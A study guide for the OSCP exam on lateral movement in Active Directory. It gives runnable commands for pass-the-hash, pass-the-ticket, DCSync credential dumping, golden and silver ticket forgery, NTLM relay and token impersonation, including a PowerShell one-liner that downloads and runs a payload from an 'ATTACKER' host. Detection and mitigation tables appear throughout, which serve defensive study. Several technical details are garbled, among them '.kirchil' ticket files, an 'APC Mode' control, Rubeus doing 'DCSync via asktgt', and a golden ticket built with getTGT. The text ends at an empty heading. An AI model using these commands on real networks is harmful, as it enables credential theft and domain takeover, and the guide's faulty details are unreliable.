Lateral Movement in Active Directory — OSCP Study Guide
Author: OSCP Research Guide
Last Updated: 2026-08-31
Difficulty: Intermediate to Advanced
Prerequisites: AD fundamentals, Kerberos basics, Windows authentication
Table of Contents
- Lateral Movement Concepts and Strategies
- Remote Execution Techniques
- Pass-the-Hash Lateral Movement
- Pass-the-Ticket Lateral Movement
- Overpass-the-Hash
- DCSync Attack
- Golden and Silver Ticket Lateral Movement
- SMB Relay Lateral Movement
- RDP Lateral Movement
- SSH Lateral Movement (Linux in AD)
- Shared Session Hijacking
- Token Impersonation Lateral Movement
- Living off the Land Techniques
- CrackMapExec / NetExec for Lateral Movement
- BloodHound Attack Path Execution
- Privilege Escalation Through Lateral Movement
- Post-Exploitation in AD
- Domain Controller Compromise
- Final Domain Domination Strategies
- Tools Mastery
1. Lateral Movement Concepts and Strategies
1.1 What Is Lateral Movement?
- Moving from one compromised host to another within a network
- Goal: reach high-value targets (Domain Controllers, servers, admin workstations)
- Follows the pivot methodology — each host is a new foothold
1.2 Why Lateral Movement Matters
| Aspect |
Description |
| Initial access is not enough |
Single host compromise rarely gives full domain control |
| Credentials spread |
Users reuse passwords; admin accounts log into multiple machines |
| Trust relationships |
AD trusts enable cross-domain and cross-forest movement |
| Privilege accumulation |
Each hop may grant higher privileges |
1.3 Lateral Movement Kill Chain
graph LR
A[Initial Foothold] --> B[Credential Harvesting]
B --> C[Network Recon]
C --> D{Choose Technique}
D --> E[Remote Execution]
D --> F[Pass-the-Hash]
D --> G[Pass-the-Ticket]
D --> H[SMB Relay]
D --> I[RDP/SSH]
E --> J[New Host Compromised]
F --> J
G --> J
H --> J
I --> J
J --> B
1.4 Key Strategies
| Strategy |
Description |
When to Use |
| Credential reuse |
Try harvested creds on other hosts |
Passwords are reused across accounts |
| Pass-the-Hash |
Use NTLM hash directly |
No plaintext password available |
| Pass-the-Ticket |
Inject Kerberos tickets |
Kerberos environment, have TGT |
| SMB Relay |
Relay NTLM auth to target |
Target does not require AES, no signing |
| Remote Execution |
Execute commands remotely |
Have valid creds or hashes |
| RDP/SSH |
Interactive session |
Need GUI or persistent shell |
# On compromised Windows host
ipconfig /all
net view /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Local Administrators" /domain
net session
net use
whoami /all
systeminfo
# From Kali / Impacket
impacket-secretsdump -just-dc <DOMAIN>/user:pass@<DC_IP>
nmap -sV -p 135,139,445,5985,5986,3389 <subnet>/24
2. Remote Execution Techniques
2.1 Overview of Remote Execution
| Technique |
Port(s) |
Protocol |
Auth Method |
Stealth |
| PsExec |
445 |
SMB + RPC |
NTLM / Kerberos |
Low |
| WMI |
135 |
RPC / DCOM |
NTLM / Kerberos |
Medium |
| WinRM |
5985/5986 |
HTTP(S) |
Kerberos / NTLM / Basic |
Medium |
| SMB Exec |
445 |
SMB |
NTLM |
Medium |
| RPC/DCOM |
135 |
RPC |
NTLM |
Low |
2.2 PsExec
Technical Explanation
- Part of Sysinternals suite (legitimate Microsoft tool)
- Creates a service on the target via admin$ share
- Copies executable to admin$ share as psexesvc.exe
- Starts the service which runs the command
- Service is removed after execution (usually)
Prerequisites
- Administrative credentials on target
- SMB (port 445) accessible
- Admin$ share accessible
- Firewall allows SMB traffic
Step-by-Step Commands
# Native PsExec from Windows
psexec \\TARGET_HOST -u DOMAIN\user -p password cmd
psexec \\TARGET_HOST -s -d cmd
# From Kali using Impacket
psexec.py domain/user:password@10.10.10.50
psexec.py domain/user@10.10.10.50 -hashes :aad3b435b51404eeaad3b435b51404ee:NTLMHASH
| Tool |
Source |
Notes |
| PsExec (native) |
Sysinternals |
Windows native |
| psexec.py |
Impacket |
Python-based, cross-platform |
| Metasploit |
ms17_010_eternalblue |
Module: admin/psexec |
Detection Indicators
- New service created: psexesvc or random name
- File dropped to admin$ share
- Service control manager events (Event ID 7045)
- SMB admin share access (Event ID 5140/5145)
- Process creation: psexesvc.exe, psexecsvc.exe
Mitigation
- Restrict admin$ share access via GPO
- Block PsExec service names via AppLocker / WDAC
- Monitor Event ID 7045 for suspicious services
- Use LAPS to randomize local admin passwords
- Segment networks to limit SMB access
2.3 WMI Execution
Technical Explanation
- Windows Management Instrumentation (WMI) is a built-in admin framework
- Uses DCOM over RPC (port 135)
- Can execute processes remotely via Win32_Process.Create
- No files dropped on target (more stealthy than PsExec)
- Requires admin credentials
Prerequisites
- Administrative credentials on target
- RPC port 135 accessible
- WMI service running on target
- DCOM firewall rules in place
Step-by-Step Commands
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName TARGET_HOST -Credential (Get-Credential)
wmiexec.py domain/user:password@TARGET_HOST
wmiexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
| Tool |
Source |
Notes |
| wmiexec.py |
Impacket |
Cross-platform |
| Invoke-WmiMethod |
PowerShell |
Native |
| WMIC |
Windows |
Legacy, deprecated |
Detection Indicators
- WMI activity in Event ID 5857/5858/5859
- DCOM activation events
- Process creation via WMI (Event ID 4688 with WMI parent)
- Network connections on port 135
Mitigation
- Restrict WMI access via DCOM permissions
- Disable WMI remotely via GPO where not needed
- Monitor WMI event subscriptions (persistence vector)
- Use LAPS to prevent credential reuse
2.4 WinRM / WinRS
Technical Explanation
- Windows Remote Management (WinRM) uses HTTP/HTTPS
- Default ports: 5985 (HTTP), 5986 (HTTPS)
- WinRS is the client-side component
- Supports PowerShell remoting
- Uses Kerberos by default (more secure than NTLM)
Prerequisites
- WinRM service enabled on target
- Port 5985/5986 accessible
- Valid credentials (Kerberos preferred)
- WinRM listener configured
Step-by-Step Commands
Enable-PSRemoting -Force
Test-WSMan TARGET_HOST
Enter-PSSession -ComputerName TARGET_HOST -Credential (Get-Credential)
Invoke-Command -ComputerName TARGET_HOST -Credential (Get-Credential) -ScriptBlock { whoami; ipconfig }
winrs -r:TARGET_HOST -u:DOMAIN\user -p:password "whoami"
evil-winrm -i TARGET_IP -u domain\\user -p password
evil-winrm -i TARGET_IP -u domain\\user --kerb
| Tool |
Source |
Notes |
| Enter-PSSession |
PowerShell |
Native |
| Invoke-Command |
PowerShell |
Native |
| Evil-WinRM |
Ruby/PowerShell |
Interactive shell |
| winrs |
Windows |
Native client |
Detection Indicators
- WinRM service start (Event ID 5176)
- PowerShell script block logging (Event ID 4104)
- PowerShell module logging (Event ID 4103)
- Authentication events (Event ID 4624 logon type 10/9)
- HTTP traffic on port 5985/5986
Mitigation
- Disable WinRM where not needed
- Require HTTPS (port 5986) with valid certificates
- Restrict WinRM to specific IPs via GPO
- Enable PowerShell transcript logging
- Use constrained endpoints
2.5 SMB Execution
Technical Explanation
- Uses SMB protocol (port 445) directly
- Uploads payload to IPC$ or admin$ share
- Executes via scheduled task or service
- No additional software needed on target
- Impacket smbexec.py uses this method
Prerequisites
- Credentials with admin access
- SMB port 445 accessible
- IPC$ or admin$ share available
Step-by-Step Commands
smbexec.py domain/user:password@TARGET_HOST
smbexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
smbclient.py domain/user:password@TARGET_HOST
| Tool |
Source |
Notes |
| smbexec.py |
Impacket |
Python-based |
| smbclient.py |
Impacket |
File transfer |
Detection Indicators
- SMB share access (Event ID 5140/5145)
- File creation on admin$ (Event ID 4663)
- Scheduled task creation (Event ID 4698)
Mitigation
- Restrict SMB access via firewall
- Enable SMB signing
- Monitor admin$ share access
- Use AppLocker to restrict execution
Technical Explanation
- Direct Remote Procedure Call execution
- Uses port 135 (RPC endpoint mapper)
- Less common than WMI but still viable
- Often combined with DCOM for process creation
Prerequisites
- Admin credentials
- RPC port 135 accessible
- DCOM enabled on target
Step-by-Step Commands
dcomexec.py domain/user:password@TARGET_HOST
dcomexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
| Tool |
Source |
Notes |
| dcomexec.py |
Impacket |
DCOM-based execution |
Detection Indicators
- DCOM activation events
- RPC activity on port 135
- Process creation events
Mitigation
- Restrict DCOM access via GPO
- Monitor RPC activity
- Limit admin access
3. Pass-the-Hash Lateral Movement
3.1 Technical Explanation
- NTLM authentication uses a challenge-response mechanism
- The NTLM hash is used directly in authentication
- No need to crack the hash — use it as-is
- Works because NTLM auth sends the hash, not the plaintext password
- Limitation: Does NOT work with Kerberos-only authentication
3.2 How NTLM Authentication Works
sequenceDiagram
participant C as Client
participant S as Server
C->>S: NTLM Negotiate
S->>C: NTLM Challenge (8-byte random)
C->>S: NTLM Response (Hash of challenge + password hash)
S->>S: Verify response against stored hash
S-->>C: Auth Success / Failure
3.3 Prerequisites
| Requirement |
Details |
| NTLM Hash |
Obtain via Mimikatz, secretsdump, etc. |
| Admin Rights |
Need admin access on target for full access |
| NTLM Auth |
Target must accept NTLM (not Kerberos-only) |
| Network Access |
SMB/RPC ports reachable |
3.4 Step-by-Step Commands
# Step 1: Extract hashes from compromised host
impacket-secretsdump domain/user:password@TARGET_HOST
# Output format:
# DOMAIN\user:aad3b435b51404eeaad3b435b51404ee:NTLMHASH:::
# Step 2: Use hash for lateral movement
psexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH
wmiexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH
smbexec.py domain/user@NEXT_TARGET -hashes :NTLM_HASH
# Step 3: CrackMapExec with hash
crackmapexec smb NEXT_TARGET -u user -H NTLM_HASH
# Using Mimikatz on Windows
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Note the NTLM hash
# Pass the hash
mimikatz # sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTLMHASH
# Opens a new cmd as that user
# Then use PsExec
psexec \\TARGET_HOST cmd
| Tool |
Purpose |
| Mimikatz |
Extract and inject NTLM hashes |
| Impacket (psexec/wmiexec/smbexec) |
Execute with hash |
| CrackMapExec / NetExec |
Scan and pth at scale |
| secretsdump.py |
Extract hashes from DC |
3.6 Detection Indicators
| Indicator |
Source |
| NTLM auth events (Event ID 4624, Logon Type 3) |
Security Event Log |
| Multiple NTLM logons from single source |
SIEM correlation |
| PsExec service creation |
Event ID 7045 |
| Unusual admin share access |
Event ID 5140/5145 |
3.7 Mitigation
| Control |
Description |
| Disable NTLM |
Enforce Kerberos-only via GPO |
| NTLM Audit |
Enable NTLM audit and alert on usage |
| LAPS |
Randomize local admin passwords |
| Segmentation |
Limit SMB access between segments |
| Admin tiers |
Separate admin accounts from user accounts |
4. Pass-the-Ticket Lateral Movement
4.1 Technical Explanation
- Kerberos uses tickets (TGT and TGS) for authentication
- A TGT (Ticket Granting Ticket) is obtained after initial Kerberos auth
- TGS tickets grant access to specific services
- Pass-the-Ticket injects these tickets into the current session
- Advantage over PtH: Works with Kerberos-only environments
- Advantage: Can impersonate any user whose ticket you have
4.2 Kerberos Ticket Types
| Ticket Type |
Purpose |
Lifetime |
| TGT |
Ticket Granting Ticket (krbtgt) |
10 hours (default) |
| TGS |
Ticket Granting Service (specific SPN) |
10 hours (default) |
| Service Ticket |
Access to specific service |
10 hours (default) |
4.3 Kerberos Authentication Flow
sequenceDiagram
participant C as Client
participant AS as AS (DC)
participant TGS as TGS (DC)
participant S as Service
C->>AS: AS-REQ (user + realm)
AS->>C: AS-REP (TGT encrypted with krbtgt key)
C->>TGS: TGS-REQ (TGT + service name)
TGS->>C: TGS-REP (Service ticket)
C->>S: Request + Service Ticket
S->>TGS: Validate ticket
TGS-->>S: Valid
S-->>C: Grant access
4.4 Prerequisites
| Requirement |
Details |
| Kerberos Ticket |
.kirchil file (TGT or TGS) |
| Admin Rights |
For domain-level access |
| Windows Environment |
PtT is Windows-specific |
| Mimikatz / Rubeus |
For ticket extraction and injection |
4.5 Step-by-Step Commands
# Step 1: Extract tickets using Mimikatz
mimikatz # privilege::debug
mimikatz # kerberos::list /extract
# Tickets saved to current directory as .kirchil files
# Step 2: Inject a ticket
mimikatz # kerberos::ptt FILENAME.kirchil
# Step 3: Verify injection
mimikatz # kerberos::tickets
# Step 4: Use the injected ticket
klist tickets
# Step 5: Lateral movement with injected ticket
psexec \\TARGET_HOST cmd
# Using Rubeus
rubeus dump
rubeus asktgt /user:Administrator /rc4:NTLMHASH /ptt
# From Kali with ccache
export KRB5CCNAME=/root/ticket.ccache
psexec.py -k -no-pass domain/@TARGET_HOST
wmiexec.py -k -no-pass domain/@TARGET_HOST
| Tool |
Purpose |
| Mimikatz |
Extract and inject Kerberos tickets |
| Rubeus |
Kerberos attack toolkit (C#) |
| Impacket (with -k flag) |
Use Kerberos tickets from Kali |
| ticket_converter.py |
Convert .kirchil to .ccache |
4.7 Detection Indicators
| Indicator |
Source |
| Kerberos auth events (Event ID 4768/4769) |
Security Event Log |
| Multiple TGT requests |
SIEM correlation |
| Ticket injection via Mimikatz |
EDR / AMSI |
| Unusual service access patterns |
SIEM |
4.8 Mitigation
| Control |
Description |
| APC Mode |
Restrict Kerberos to AES encryption |
| Short ticket lifetimes |
Reduce TGT/TGS lifetime via GPO |
| Admin isolation |
Admins never use domain accounts on workstations |
| EDR monitoring |
Detect Mimikatz/Rubeus execution |
| Kerberos auditing |
Enable and monitor Kerberos events |
5. Overpass-the-Hash
5.1 Technical Explanation
- Combines Pass-the-Hash with Pass-the-Ticket
- Step 1: Use NTLM hash to request a Kerberos TGT
- Step 2: Inject the TGT into the session
- Step 3: Use the TGT for Kerberos-based lateral movement
- Key advantage: Bypasses NTLM restrictions
- Uses kerberos::asktgt functionality
5.2 Prerequisites
| Requirement |
Details |
| NTLM Hash |
Of a target user |
| Domain Access |
Must be able to reach DC |
| Mimikatz / Rubeus |
For the attack |
5.3 Step-by-Step Commands
# Method 1: Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTLMHASH /run:"psexec \\TARGET cmd"
# Method 2: Rubeus (preferred)
rubeus asktgt /user:Administrator /rc4:NTLMHASH /ptt
klist
psexec \\TARGET cmd
# From Kali
getTGT.py DOMAIN/Administrator -hashes :NTLM_HASH
export KRB5CCNAME=/root/krb5cc_cache
psexec.py -k -no-pass DOMAIN/@TARGET
| Tool |
Purpose |
| Rubeus |
asktgt with /rc4 and /ptt |
| Mimikatz |
sekurlsa::pth |
| getTGT.py |
Impacket TGT request with hash |
5.5 Detection Indicators
| Indicator |
Source |
| TGT request with RC4 encryption |
Kerberos logs (Event ID 4768) |
| RC4 is deprecated — alerts on RC4 TGT requests |
SIEM |
| Mimikatz / Rubeus execution |
EDR |
5.6 Mitigation
| Control |
Description |
| Disable RC4 |
Enforce AES-128/256 for Kerberos |
| Monitor RC4 TGT requests |
Alert on Event ID 4768 with RC4 |
| Admin isolation |
Separate admin accounts |
6. DCSync Attack
6.1 Technical Explanation
- DCSync mimics a Domain Controller replication request
- Uses the Directory Replication Service (DRS) RPC interface
- Requests password data for any account in the domain
- Returns the KRBTGT hash, user hashes, and machine account hashes
- Effectively gives you all domain hashes
6.2 Required Privileges
| Privilege |
Description |
How to Obtain |
| DS-Replication-Get-Changes |
Read replication data |
Default: Domain Admins, Enterprise Admins, DCs |
| DS-Replication-Get-Changes-All |
Read all replication data |
Default: Domain Admins, Enterprise Admins, DCs |
| DS-Replication-Get-Changes-In-Filtered-Set |
Read filtered replication (passwords) |
Default: Domain Admins, Enterprise Admins, DCs |
6.3 Who Has DCSync Rights by Default?
graph TD
A[DCSync Privileges] --> B[Domain Admins]
A --> C[Enterprise Admins]
A --> D[Domain Controllers]
A --> E[Custom ACL grants]
6.4 Prerequisites
| Requirement |
Details |
| DCSync Privileges |
One of the DS-Replication rights |
| Domain Credentials |
Valid domain user with the privilege |
| Network Access |
Reach the Domain Controller |
6.5 Step-by-Step Commands
# Extract all domain hashes
impacket-secretsdump -just-dc DOMAIN/user:password@DC_IP
# Extract specific user hash
impacket-secretsdump -just-dc-user KRBTGT DOMAIN/user:password@DC_IP
# Extract specific user
impacket-secretsdump DOMAIN/user:password@DC_IP -just-user Administrator
# Using Mimikatz
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT
mimikatz # lsadump::dcsync /user:DOMAIN\Administrator
# Full DCSync output example
impacket-secretsdump -just-dc DOMAIN/hacker:pwned@10.10.10.10
# Output:
# [*] Dumping Domain Credentials (domain/username:hash)
# [$] DOMAIN/KRBTGT:aad3b435b51404eeaad3b435b51404ee:NTLMHASH
# [$] DOMAIN/Administrator:aad3b435b51404eeaad3b435b51404ee:NTLMHASH
| Tool |
Purpose |
| secretsdump.py |
Impacket DCSync implementation |
| Mimikatz |
lsadump::dcsync |
| Rubeus |
DCSync via asktgt |
| BloodHound |
Identify DCSync-able accounts |
6.7 Detection Indicators
| Indicator |
Source |
| DRS GetChanges calls from non-DC |
DC Event Log (Event ID 4662) |
| Unusual replication partners |
DC replication logs |
| Account access from unexpected source |
Security Event Log |
| Large volume of credential requests |
SIEM correlation |
6.8 Mitigation
| Control |
Description |
| Monitor DRS access |
Alert on Event ID 4662 from non-DCs |
| Restrict DCSync rights |
Audit and remove unnecessary grants |
| Admin isolation |
Domain Admins never log on to workstations |
| Tiered administration |
Separate tiers for different admin levels |
| BloodHound auditing |
Regularly check for misconfigurations |
7. Golden and Silver Ticket Lateral Movement
7.1 Golden Ticket
Technical Explanation
- A forged Kerberos TGT (Ticket Granting Ticket)
- Requires the KRBTGT account NTLM hash
- Can be used to impersonate ANY user in the domain
- Valid for the full TGT lifetime (default 10 hours)
- Can be crafted with any lifetime (even years)
- Most powerful Kerberos attack
Prerequisites
| Requirement |
Details |
| KRBTGT Hash |
Obtain via DCSync or other means |
| Domain SID |
Domain Security Identifier |
| Domain Name |
FQDN of the target domain |
| Mimikatz / Rubeus |
For ticket creation |
Step-by-Step Commands
# Step 1: Get KRBTGT hash (via DCSync)
mimikatz # lsadump::dcsync /user:DOMAIN\KRBTGT
# Step 2: Get domain SID
mimikatz # lsadump::domain /domain:DOMAIN
# Step 3: Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /krbtgt:NTLMHASH /id:500 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# Parameter breakdown:
# /user - Username to impersonate
# /domain - Domain FQDN
# /sid - Domain SID
# /krbtgt - KRBTGT NTLM hash
# /id - User RID (500 = Administrator)
# /startoffset - Minutes before now ticket starts
# /endin - Ticket lifetime in minutes
# /renewmax - Max renewal time in minutes
# /ptt - Inject ticket into current session
# Step 4: Verify
klist
# Step 5: Lateral movement
psexec \\DC01 cmd
# From Kali using Impacket
impacket-getTGT DOMAIN/KRBTGT -hashes :KRBTGT_NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=/root/krb5cc_cache
psexec.py -k -no-pass DOMAIN/@TARGET
7.2 Silver Ticket
Technical Explanation
- A forged Kerberos TGS (service ticket)
- Requires the target service account hash (not KRBTGT)
- Grants access to a SPECIFIC service on a SPECIFIC host
- More stealthy — DC never validates the ticket
- Useful when you cannot reach the DC
Prerequisites
| Requirement |
Details |
| Service Account Hash |
Hash of the account running the target service |
| Domain SID |
Domain Security Identifier |
| SPN |
Service Principal Name of the target service |
| Mimikatz |
For ticket creation |
Step-by-Step Commands
# Create silver ticket for CIFS (SMB) service
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:FILESERVER.DOMAIN.local /rc4:SERVICE_HASH /service:cifs /ptt
# Create silver ticket for HTTP service
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:WEBSERVER.DOMAIN.local /rc4:SERVICE_HASH /service:http /ptt
# Create silver ticket for MSSQL
mimikatz # kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-XXX /target:DBSERVER.DOMAIN.local /rc4:SERVICE_HASH /service:MSSQLSvc /ptt
7.3 Golden vs Silver Ticket Comparison
| Feature |
Golden Ticket |
Silver Ticket |
| Ticket Type |
Forged TGT |
Forged TGS |
| Required Hash |
KRBTGT |
Service account |
| Scope |
Entire domain |
Single service/host |
| DC Validation |
Yes (but forged) |
No (bypasses DC) |
| Stealth |
Lower (DC sees it) |
Higher (DC blind) |
| Lifetime |
Configurable |
Configurable |
| Detection |
Easier (DC logs) |
Harder (no DC logs) |
7.4 Detection Indicators
| Indicator |
Golden Ticket |
Silver Ticket |
| TGT request anomalies |
Yes |
N/A |
| Unusual ticket lifetime |
Yes |
N/A |
| Service access without DC auth |
N/A |
Yes |
| Event ID 4768/4769 |
Yes |
No |
| SID mismatch |
Possible |
Possible |
7.5 Mitigation
| Control |
Description |
| Change KRBTGT password |
Reset twice (old tickets remain valid until expiry) |
| Monitor ticket anomalies |
Alert on unusual lifetimes, RC4 encryption |
| Service account hardening |
Use gMSA (group Managed Service Accounts) |
| Admin isolation |
Limit admin account exposure |
| Tiered admin model |
Separate admin tiers |
8. SMB Relay Lateral Movement
8.1 Technical Explanation
- Relays NTLM authentication from one host to another
- Attacker sits between victim and target as a man-in-the-middle
- Victim authenticates to attacker (thinking it is a legitimate service)
- Attacker relays the authentication to the target
- No credentials needed — just relay the auth handshake
8.2 Attack Flow
sequenceDiagram
participant V as Victim
participant A as Attacker
participant T as Target
V->>A: NTLM Negotiate (thinking A is a file share)
A->>V: NTLM Challenge
V->>A: NTLM Response (with victim hash)
A->>T: NTLM Negotiate (relay to target)
T->>A: NTLM Challenge
A->>T: NTLM Response (victim response)
T->>T: Verify response
T-->>A: Auth Success
A-->>V: Auth Success (fake)
8.3 Prerequisites
| Requirement |
Details |
| Victim will authenticate |
Lure victim to connect to attacker |
| Target accepts NTLM |
Target must not require Kerberos |
| SMB Signing Disabled |
Target must NOT require SMB signing |
| Network position |
Attacker in path between victim and target |
8.4 Step-by-Step Commands
# Step 1: Identify targets without SMB signing
crackmapexec smb 10.10.10.0/24 --signing
# Step 2: Start SMB relay server
impacket-smbrelayserver -target TARGET_IP
impacket-smbrelayserver -target TARGET_IP -exec-command "whoami"
# Step 3: Lure victim to connect
responder -I eth0 -wrf
# Using ntlmrelayx (more versatile)
impacket-ntlmrelayx -t smb://TARGET_IP --no-http-server -smb2support
impacket-ntlmrelayx -t TARGET_IP -c "whoami"
impacket-ntlmrelayx -t https://TARGET_IP
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user VICTIM_USER
| Tool |
Purpose |
| ntlmrelayx.py |
Full NTLM relay framework |
| smbrelayx.py |
SMB-specific relay |
| Responder |
LLMNR/NBT-NS poisoning |
| CrackMapExec / NetExec |
Scan for signing status |
8.6 Detection Indicators
| Indicator |
Source |
| NTLM relay traffic patterns |
Network monitoring |
| Unusual SMB connections |
Event ID 5140/5145 |
| Responder LLMNR/NBT-NS responses |
Network capture |
| Multiple auth attempts from relay server |
SIEM |
8.7 Mitigation
| Control |
Description |
| Enable SMB signing |
Enforce via GPO (blocks relay) |
| Disable LLMNR/NBT-NS |
Block via GPO |
| Network segmentation |
Isolate critical systems |
| 802.1X |
Port-based network access control |
| Monitor NTLM traffic |
Alert on relay patterns |
9. RDP Lateral Movement
9.1 Technical Explanation
- Remote Desktop Protocol (RDP) provides GUI access
- Default port: 3389
- Supports credential-based and certificate-based auth
- Can be used for interactive lateral movement
- Often the final step before domain admin access
9.2 Prerequisites
| Requirement |
Details |
| RDP Enabled |
Target has RDP enabled (port 3389) |
| Valid Credentials |
Username and password |
| RDP Permissions |
User in Remote Desktop Users group |
| Network Access |
Port 3389 reachable |
9.3 Step-by-Step Commands
xfreerdp /u:DOMAIN\\user /p:password /v:TARGET_IP
xfreerdp /u:DOMAIN\\user /p:password /v:TARGET_IP /cert-ignore /dynamic-resolution
impacket-rdp DOMAIN/user:password@TARGET_IP
crackmapexec rdp TARGET_IP -u user -p password
mstsc /v:TARGET_IP
net localgroup "Remote Desktop Users" DOMAIN\user /add
| Tool |
Source |
Notes |
| xfreerdp |
Kali |
Linux RDP client |
| rdp.py |
Impacket |
Python RDP client |
| MSTSC |
Windows |
Native RDP client |
| CrackMapExec |
Python |
RDP enumeration |
9.5 Detection Indicators
| Indicator |
Source |
| RDP logon events (Event ID 4624, Logon Type 10) |
Security Event Log |
| RDP connection attempts (Event ID 4625) |
Security Event Log |
| Multiple failed RDP attempts |
SIEM |
| RDP from unusual source |
Network monitoring |
9.6 Mitigation
| Control |
Description |
| NLA (Network Level Auth) |
Enforce via GPO |
| Restrict RDP access |
Limit to specific IPs/groups |
| MFA for RDP |
Require multi-factor authentication |
| Monitor RDP events |
Alert on unusual patterns |
| Jump servers |
Centralize RDP access |
10. SSH Lateral Movement (Linux in AD)
10.1 Technical Explanation
- Linux hosts joined to AD domains use SSH for remote access
- Default port: 22
- Supports password, key-based, and Kerberos auth
- Common in mixed environments (Windows + Linux)
- Kerberos tickets can be used for SSH auth (GSSAPI)
10.2 Prerequisites
| Requirement |
Details |
| SSH Enabled |
Target has SSH running |
| Valid Credentials |
Password or SSH key |
| Kerberos (optional) |
GSSAPI auth configured |
| Network Access |
Port 22 reachable |
10.3 Step-by-Step Commands
ssh user@TARGET_IP
ssh -i /path/to/key user@TARGET_IP
ssh -o GSSAPIAuthentication=yes user@TARGET_IP
ssh -L 8080:INTERNAL_TARGET:80 user@TARGET_IP
ssh -D 1080 user@TARGET_IP
sshpass -p 'password' ssh user@TARGET_IP
crackmapexec ssh TARGET_IP -u user -p password
| Tool |
Source |
Notes |
| ssh |
OpenSSH |
Native client |
| sshpass |
Linux |
Non-interactive SSH |
| CrackMapExec |
Python |
SSH enumeration |
| Hydra |
Kali |
SSH brute force |
10.5 Detection Indicators
| Indicator |
Source |
| SSH logon events |
/var/log/auth.log |
| Failed SSH attempts |
/var/log/auth.log |
| Unusual SSH source IPs |
SIEM |
| SSH key usage anomalies |
Audit logs |
10.6 Mitigation
| Control |
Description |
| Key-based auth only |
Disable password auth |
| Restrict SSH access |
Limit to specific IPs |
| Fail2ban |
Block brute force attempts |
| MFA |
Require multi-factor authentication |
| Audit SSH usage |
Monitor and log all SSH sessions |
11. Shared Session Hijacking
11.1 Technical Explanation
- When a user has an existing session (RDP, console, etc.)
- Another user with admin rights can take over that session
- Uses tscon or rwinsta commands
- The original user is disconnected
- The attacker inherits the session with the original user privileges
11.2 Prerequisites
| Requirement |
Details |
| Admin Rights |
On the target machine |
| Active Session |
Target user has an active session |
| Session ID |
Know the session ID to hijack |
11.3 Step-by-Step Commands
query session
qwinsta
tscon SESSION_ID /dest:console
rwinsta /disconnect:SESSION_ID
crackmapexec smb TARGET_IP -u user -p password --sessions
| Tool |
Source |
Notes |
| tscon |
Windows |
Session takeover |
| query session |
Windows |
List sessions |
| CrackMapExec |
Python |
Session enumeration |
11.5 Detection Indicators
| Indicator |
Source |
| Session disconnection events |
Terminal Services logs |
| tscon execution |
Process creation logs |
| Unexpected session transfers |
SIEM |
11.6 Mitigation
| Control |
Description |
| Restrict admin access |
Limit who can query sessions |
| Monitor session events |
Alert on tscon usage |
| Admin isolation |
Separate admin accounts |
12. Token Impersonation Lateral Movement
12.1 Technical Explanation
- Windows processes run with security tokens
- Admin processes may impersonate lower-privilege users
- High-privilege tokens can be stolen and used
- Common in web servers (IIS) and service accounts
- Tools like Incognito and RottenPotato exploit this
12.2 Token Types
| Token Type |
Description |
| Primary Token |
The process own token |
| Impersonation Token |
Created when servicing a client request |
| Delegation Token |
Can be used remotely (highest privilege) |
12.3 Prerequisites
| Requirement |
Details |
| Process with impersonation token |
IIS, services, etc. |
| Admin rights |
To manipulate tokens |
| Token manipulation tool |
Incognito, Mimikatz, etc. |
12.4 Step-by-Step Commands
# Using Incognito
!list_tokens -u
!list_tokens -g
!impersonate_token DOMAIN\\Administrator
!execute_cmd_k "cmd.exe"
# Using Mimikatz
mimikatz # token::revert
mimikatz # token::elevate
mimikatz # token::list
Import-Module .\PowerUp.ps1
Invoke-TokenManipulation -ListTokens
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\\Administrator"
whoami
| Tool |
Source |
Notes |
| Incognito |
Metasploit |
Token manipulation |
| Mimikatz |
External |
Token::elevate |
| PowerUp |
PowerSploit |
PowerShell token manipulation |
| RottenPotato |
External |
Token escalation exploit |
12.6 Detection Indicators
| Indicator |
Source |
| Token manipulation events |
EDR / AMSI |
| Unexpected privilege changes |
Security Event Log |
| Incognito/Mimikatz execution |
EDR |
12.7 Mitigation
| Control |
Description |
| Least privilege |
Run services with minimal rights |
| Restrict delegation |
Limit constrained delegation |
| EDR monitoring |
Detect token manipulation tools |
| Patch systems |
Fix token escalation vulnerabilities |
13. Living off the Land Techniques
13.1 Overview
| Technique |
Tool |
Description |
| PowerShell Remoting |
Enter-PSSession / Invoke-Command |
Native PowerShell remote execution |
| psexec.py |
Impacket |
PsExec over SMB |
| wmiexec.py |
Impacket |
WMI-based execution |
| smbexec.py |
Impacket |
SMB-based execution |
| WMIC |
Windows |
Legacy WMI command-line |
| certutil |
Windows |
Download files |
| bitsadmin |
Windows |
Download files |
| mshta |
Windows |
Execute HTA files |
| rundll32 |
Windows |
Execute DLLs |
13.2 PowerShell Remoting
Enable-PSRemoting -Force
Test-WSMan TARGET_HOST
Enter-PSSession -ComputerName TARGET_HOST -Credential (Get-Credential)
Invoke-Command -ComputerName TARGET_HOST -Credential (Get-Credential) -ScriptBlock { whoami; Get-Process }
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://ATTACKER/payload.ps1")
13.3 psexec.py (Impacket)
psexec.py domain/user:password@TARGET_HOST
psexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
psexec.py -k -no-pass domain/@TARGET_HOST
psexec.py domain/user:password@TARGET_HOST "whoami /all"
13.4 wmiexec.py (Impacket)
wmiexec.py domain/user:password@TARGET_HOST
wmiexec.py domain/user@TARGET_HOST -hashes :NTLM_HASH
wmiexec.py -k -no-pass domain/@TARGET_HOST
13.5 smbexec.py (Impacket)
